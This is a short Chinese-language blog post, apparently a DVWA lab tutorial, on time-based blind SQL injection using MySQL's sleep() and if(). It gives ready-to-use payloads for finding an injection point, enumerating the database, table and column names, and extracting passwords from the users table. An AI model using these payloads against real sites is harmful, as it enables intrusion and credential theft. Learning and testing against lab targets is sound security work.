SQL时间盲注

由于页面无法返回正确或错误的值,所以只能通过if加sleep函数解决问题

函数:

sleep(N)函数
即如果写入到数据库被执行了,sleep(N)可以让此语句运行N秒钟
(通过执行时间来判断是否被执行,但是可能会因网速等问题参数误差)

if()函数
​ if(a,b,c),如果a的值为true,则返回b的值,如果a的值为false,则返回c的值

判断注入点

1' and sleep(3)#

判断数据库长度

1' and if((length(database()))=10,sleep(3),1)#

判断数据库名

1' and if(ascii(substr(database(),1,1))=100,sleep(3),1)#

判断表长

1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>3,sleep(3),1)#

判断表名

1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)#

判断字段长度

1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))>3,sleep(3),1)#

判断字段名

1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>10,sleep(3),1)#

爆数据

1' and if(ascii(substr((select password from dvwa.users limit 0,1),1,1))>10, sleep(3),0)#
posted @ 2024-02-01 16:47  P1ggy  阅读(18)  评论(0编辑  收藏  举报